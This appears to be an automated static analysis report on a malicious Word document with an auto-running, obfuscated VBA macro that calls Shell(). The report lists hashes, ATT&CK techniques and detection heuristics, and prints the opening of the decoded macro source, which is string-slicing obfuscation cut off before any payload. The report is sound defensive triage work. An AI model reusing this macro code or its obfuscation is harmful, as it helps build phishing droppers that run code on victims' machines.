Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a7f3394ce4357ae…

MALICIOUS

Office (OLE)

88.5 KB First seen: 2017-10-28
MD5: c46f100d2e1e156a3774b75a1533f755 SHA-1: a61fb7132fbea71df82c91736c6093ec952b7816 SHA-256: 0a7f3394ce4357aec8cef4dc416522f0cb206c89b18752f997c3a47fc70e69c1
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and uses the Shell() function, indicating an attempt to execute arbitrary code. This is a common technique for downloading and running further malicious payloads. The presence of obfuscated VBA code and the ClamAV detection signature 'Doc.Macro.Obfuscation-6355576-0' further support its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52533 bytes
SHA-256: e5e8d0a6e54b5a6cf6a5de5bc00468dcd856501b46b889e12655f43977c0be70
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 98 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function KsFcDUEoW()
kqqVmrczzwh = "TCURZ10RGYAivVwzDfJsvDSsYXGUuHCZBYanbtSmjvFGtzzQjwtInViOfSWBmPfoWbjXuLXKNWIAwLG85MTOMLMFOYOEVOZN"
lMfYuEHIIZ = Mid(kqqVmrczzwh, 10, 69)
MIFPoYnHF = lMfYuEHIIZ
ImwTrDbOT = "TAFUOXCmIsTZrCIp2EFHL9S5DQDUI6VCWO8BZWAMY7N4J4T"
jIjaTOSF = Mid(ImwTrDbOT, 7, 10)
qzOsYQY = jIjaTOSF
OLjkuIB = "Z0JNO1ufrctEZvtGoOthlXrWmqHCtACjQJYraldPCnjEfZjlLUqcYpaclknAVsmqaMoPXBfCkdfzqnrNHVqYJZIaivGqzduJBqdSkTOKooruKdmwsatzCNjAEOhbvoEHjVvzJZcnGfjViNPFIHwXjvGoJcOWmnPzjjLphnpTzFtWdKSrzbTnqhYoOHpjKGBTQjmwBZXVSfadBkLwKXXKTbJBLXaazIIqEaFtYTpZDwULHumiwrWnjrzpalmdzzXKWjZaiRaqhwGVGAAT4RA9NUSOQFSDIWF07GYPO82D"
dvlNowB = Mid(OLjkuIB, 7, 263)
TzvYAUwCIB = dvlNowB
XWRQckXEOzU = "P32YRT0OQGMJ03ZRH5wRflohQFlAuPjsARinLlavYvzAqkmQwPWwwOjmrXoMQFzmGQsCqDqWPCtknnrfTUBfthtliwwozNiSzLuZsjZv63J4946QG8X4Q"
dbJMThwjdwl = Mid(XWRQckXEOzU, 19, 86)
JPdBQpnrscw = dbJMThwjdwl
ibKXtPEphUJ = "IN5LJH0SPXX5G7zmiVEtiuIoiSBTaRZXAofUcTcXQlHaaznvUsjRSOLmsbNNdzRUicKKzcJLshcwmiOkfGwhlIEmctcBFPtQUnrwndzsiUYllPAKMdhXBjjZXXhEAIFdoLbzqQzCIGzQkTANsRochVPkDSaPvtrZOuwZnAUwffPukTpEWULiTdvSwrwXqhGOPZBpWbZszswCGVAjdVsaiIGlwidwEwGzYAfKSzhvuZBSGS34S2A23I23JHO40Y"
HLzMVI = Mid(ibKXtPEphUJ, 15, 219)
iZMii = HLzMVI
DrBCY = "Q6ADJLnwqOvZUiPGIjtYuIHQUPqnUAQYjMNPiDQZwRUdJCimpiOfAkObRTKLsAdpzWtIUzbESUccndGShEzlmlYvzlwKtFjvoifmJaRpHJMjHlonNsdoCsDMwzKjBQLNnjoJwTIGmHicYsoMzKwAbrtvaSoMQioqzzsazipujXCuNboFJwlKESU"
BiKERJoJ = Mid(DrBCY, 7, 173)
mDURsf = BiKERJoJ
IHcpRjaaj = "KK2S4AzZaqkzNuljpLHJXQAUPRkSSZVYZiuRMhQTSzbwiiabpAhjDNnzWoljbjGAUMXfzUTIuoqapEphqIcRsmUMvzvYwkslqabSKvcVjZoPWNHRwEpSEoIisLjCZvLKvEjOcXWvjHlSzEpipdZsuZhBRtZwMawkNdTRdspahumzDpkoWAMvWTQWXizjwYjFKAF6HDLF1P3FOGVM78JA"
swHKvkpkG = Mid(IHcpRjaaj, 7, 189)
hrrjcTfLf = swHKvkpkG
PuwuY = "PXBB88MJAG6MMM3J0FPUkXFwowLzmkzcIlcLNAOtMzuuvFcJLhmCjQDwvPHXIRkmkUbMvYrJmMHncKAiVBoFwvsrhdPwtrkvNIJbiQNmpdPXJQWkPYBGciopcjfSItPvbLZUBZEFoBQUfUiQHfiVpdTiTUwvkvivNUwzrBjpUwSaOTJHAOLcKuFzsrAjaIUtWVHLXkZFwtAtLsUAKquW5JDOPQHD6L"
aDwSKhjbB = Mid(PuwuY, 20, 193)
GZzZC = aDwSKhjbB
BLJTPYBqd = "950C9CAUBLlPCmoFuwKwKJcjRfzSQuKYzCNwqpXGSSLutRbjiSHPvfqWCPKjjqFGBMRzYqPEbEiswipAEPownvcRLqvbfoWcMEtjAbKoDCnrBwYUZKiTBHSFjzohuoZmhCftoIzcFzvlHkQNSaBUJDaFlnzAndtOcBKzSfjQKCOCLhwwjaPUmFcibZHALzobGjIGaRv3JSM3ZFYEXV8D5KW"
BnWwOPu = Mid(BLJTPYBqd, 9, 191)
cJmPSPnwGi = BnWwOPu
EIVSEvUk = "FP04C3DYQOIXzuRlwiGmVHNaQTnjMZGaKpYULziQjFlkiicqVsCTRYBbLzOwnJVYAuwIVwZwzpFPVcwhqwLTXmJmowIMljdWkNkjmUVYSGUbSlGjDjHrzBBNlJUZnNKSMjfIsMvWbmAQRhUCqZIFZmZiMWwczvkFvBPjFzqqklQLAkvDpRjNEEtaJwvVOSXfBvUQSkwsjSVnWNibaumhMWBrIoZICUcRNkJFPflFUrimjFEwOTuTjpSiudHdLoqOqDalEcMvIhMVsPHCkdtiZIlYRiLmXHtjAPvffTrmHzKwdUWBTM9K0Z10HSL2OKW4"
qovooGtZqV = Mid(EIVSEvUk, 13, 289)
UNSzApfpj = qovooGtZqV
OQiBMRC = "DD5DLUUUHN5ETlajtMbqMuUpjjGTQrszdnAmzdGpqRiozfPXfEFSCFsPNAOFGQADHSSP70"
quGrDwoiv = Mid(OQiBMRC, 13, 43)
HpPlYKkKi = quGrDwoiv
szMwSXKWMNj = "R047COJCG0HM55OP29HOYovwcirSocihqGMJGKSdfRLOdlkknuhHjvrtEGwRTIiOzlAUZzHCBnVkdhUqwGfuvbAuPTFAMAJXiwRNAA8A837ZNDLF"
XMlbsp = Mid(szMwSXKWMNj, 22, 78)
horavBBZD = XMlbsp
rFijpJucSGB = "R948FjCkSOzFzBCPLbYDtLwkQpFjRuMlzXzVjNwJUkpwYiZDudoSmoaoMGijdVSYBNGcBjfwcPiIWG8BPSIW0V"
QwRwHPtD = Mid(rFijpJucSGB, 6, 72)
GEtJfZOAtD = QwRwHPtD
WEnzlnZTsb = "ALT3qUKmwntifiwqEToiZANPSVCREpwhziiDRwzWnMvnEwJPnjzbZwPFvjSURtiHpLiBvsYHVSrMEaLWMmdXrWIDOdHiicEtdozsNITuHqFNOW8ZVEE4P8TV8FCI9VZ55EGW11VRX1"
zCFPM = Mid(WEnzlnZTsb, 5, 103)
nnnYuJuIY = zCFPM
MDlGkSSnSS = "F23T8W6ORB596J6GDQC6K7HFCBVYwIiPKPSDfmSlqctNzjPcSIDSiQARAzLbmKiTZdSZfphVBJRNMtITlsFnFMhuOBCiaqwfuZoTQqwdbhRZznEGpsqtEuONwYKimzvKLlSnFoDuvcMXuIvbzwsiAEaAKaXrjSqbmHNNUQAB46O7MK8X"
TLTJDGmwa = Mid(MDlGkSSnSS, 23, 146)
rKbAonIiWLl = TLTJDGmwa
YacDz = "GPRSXW2LQ7U199KKVT3RWI6B8rlPLpmiFsaHPXlHTMcoTVkFFFsHqAdwBjPdEiupHQWIUHDiOEhwuudwHjKFzfoEObFjHIDlSnjDwckzCJslThD
... (truncated)

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